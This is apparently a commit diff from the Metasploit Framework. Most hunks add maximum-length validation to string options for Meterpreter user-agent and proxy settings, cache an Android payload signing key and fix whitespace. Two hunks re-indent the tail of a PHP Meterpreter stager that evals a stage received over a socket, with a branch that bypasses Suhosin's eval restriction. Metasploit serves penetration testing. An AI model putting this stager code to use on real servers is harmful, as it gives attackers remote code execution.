'The user-agent that the payload should use for communication',
default: Rex::UserAgent.shortest,
aliases: ['MeterpreterUserAgent']
aliases: ['MeterpreterUserAgent'],
max_length: Rex::Payloads::Meterpreter::Config::UA_SIZE - 1
),
OptString.new('HttpServerName',
'The server header that the handler will send in response to requests',
+5 -5
View File
@@ -15,7 +15,7 @@ module Msf::Module::Alert
# the module is about to start running, or when the module generates its
# output.
#
# @param msg [String] an optional warning message
# @param msg [String] an optional warning message
# @param block [Proc] an optional block that will be executed in the
# context of the module instance at alert time to generate the warning
# message. If provided the msg parameter is ignored.
@@ -30,7 +30,7 @@ module Msf::Module::Alert
# the module is about to start running, or when the module generates its
# output. Adding an error will cause {#is_usable} to return `false`.
#
# @param msg [String] an optional error message
# @param msg [String] an optional error message
# @param block [Proc] an optional block that will be executed in the
# context of the module instance at alert time to generate the error
# message. If provided the msg parameter is ignored.
@@ -109,7 +109,7 @@ module Msf::Module::Alert
# command, when the module is about to start running, or when the module
# generates its output.
#
# @param msg [String] an optional warning message
# @param msg [String] an optional warning message
# @param block [Proc] an optional block that will be executed in the
# context of the module instance at alert time to generate the warning
# message. If provided the msg parameter is ignored.
@@ -125,7 +125,7 @@ module Msf::Module::Alert
# generates its output. Adding an error will cause {#is_usable} to return
# `false`.
#
# @param msg [String] an optional error message
# @param msg [String] an optional error message
# @param block [Proc] an optional block that will be executed in the
# context of the module instance at alert time to generate the error
# message. If provided the msg parameter is ignored.
@@ -164,7 +164,7 @@ module Msf::Module::Alert
# the context of this module instance and returns a flattened list of strings.
# (see {ClassMethods#get_alerts})
# @param [Symbol] the alert level to return
# @return [Array<String>]
# @return [Array<String>]
def get_alerts(level)
self.alerts ||= {}
self.alerts[level] ||= []
+1 -1
View File
@@ -23,7 +23,7 @@ class Msf::Module::PlatformList
#
# Transformation method, just accept an array or a single entry.
# This is just to make defining platform lists in a module more
# convenient, skape's a girl like that.
# convenient.
#
def self.transform(src)
if (src.kind_of?(Array))
+4 -2
View File
@@ -85,10 +85,12 @@ module Msf
aliases: ['PayloadProxyPort']
),
OptString.new('HttpProxyUser', 'An optional proxy server username',
aliases: ['PayloadProxyUser']
aliases: ['PayloadProxyUser'],
max_length: Rex::Payloads::Meterpreter::Config::PROXY_USER_SIZE - 1
),
OptString.new('HttpProxyPass', 'An optional proxy server password',
aliases: ['PayloadProxyPass']
aliases: ['PayloadProxyPass'],
max_length: Rex::Payloads::Meterpreter::Config::PROXY_PASS_SIZE - 1
),
OptEnum.new('HttpProxyType', 'The type of HTTP proxy',
enums: ['HTTP', 'SOCKS'],
+20 -2
View File
@@ -26,11 +26,12 @@ module Msf
# also be a string as standin for the required description field.
#
def initialize(in_name, attrs = [],
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [])
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [], max_length: nil)
self.name = in_name
self.advanced = false
self.evasion = false
self.aliases = aliases
self.max_length = max_length
if attrs.is_a?(String) || attrs.length == 0
self.required = required
@@ -55,6 +56,10 @@ module Msf
regex_temp = attrs[4] || regex
end
unless max_length.nil?
self.desc += " Max parameter length: #{max_length} characters"
end
if regex_temp
# convert to string
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
@@ -143,6 +148,15 @@ module Msf
value.to_s
end
#
# Returns true if the value supplied is longer then the max allowed length
#
def invalid_value_length?(value)
if !value.nil? && !max_length.nil?
value.length > max_length
end
end
#
# The name of the option.
#
@@ -187,7 +201,11 @@ module Msf
# Aliases for this option for backward compatibility
#
attr_accessor :aliases
#
# The max length of the input value
#
attr_accessor :max_length
protected
attr_writer :required, :desc, :default # :nodoc:
+9 -1
View File
@@ -8,12 +8,19 @@ module Msf
#
###
class OptString < OptBase
# This adds a length parameter to check for the maximum length of strings.
def initialize(in_name, attrs = [],
required: false, desc: nil, default: nil, enums: [], regex: nil, aliases: [], max_length: nil)
super
end
def type
return 'string'
end
def validate_on_assignment?
false
true
end
def normalize(value)
@@ -31,6 +38,7 @@ class OptString < OptBase
def valid?(value=self.value, check_empty: true)
value = normalize(value)
return false if check_empty && empty_required_value?(value)
return false if invalid_value_length?(value)
return super(value, check_empty: false)
end
end
+3 -2
View File
@@ -210,7 +210,9 @@ class Payload < Msf::Module
pl = nil
begin
pl = generate()
rescue NoCompatiblePayloadError, Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError
rescue Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError
rescue NoCompatiblePayloadError
rescue PayloadItemSizeError
end
pl ||= ''
pl.length
@@ -688,7 +690,6 @@ protected
# Merge the name to prefix the existing one and separate them
# with a comma
#
def merge_name(info, val)
if (info['Name'])
info['Name'] = val + ',' + info['Name']
+7 -2
View File
@@ -9,6 +9,10 @@ module Msf::Payload::Android
include Msf::Payload::TransportConfig
include Msf::Payload::UUID::Options
def signing_key
@@signing_key ||= OpenSSL::PKey::RSA.new(2048)
end
#
# Fix the dex header checksum and signature
# http://source.android.com/tech/dalvik/dex-format.html
@@ -69,7 +73,9 @@ module Msf::Payload::Android
x509_name = OpenSSL::X509::Name.parse(
"C=US/O=Android/CN=Android Debug"
)
key = OpenSSL::PKey::RSA.new(2048)
key = signing_key
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
@@ -134,6 +140,5 @@ module Msf::Payload::Android
jar
end
end
+8 -8
View File
@@ -109,14 +109,14 @@ while (strlen($b) < $len) {
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^
end
+8 -8
View File
@@ -102,14 +102,14 @@ while (strlen($b) < $len) {
# Set up the socket for the main stage to use.
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass=create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();^
end
+1 -1
View File
@@ -25,7 +25,7 @@ module Payload::Php::SendUUID
uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')
php = %Q^$u="#{uuid_raw}";
switch (#{sock_type}) {
switch (#{sock_type}) {
case 'stream': fwrite(#{sock_var}, $u); break;
case 'socket': socket_write(#{sock_var}, $u); break;
}

Some files were not shown because too many files have changed in this diff Show More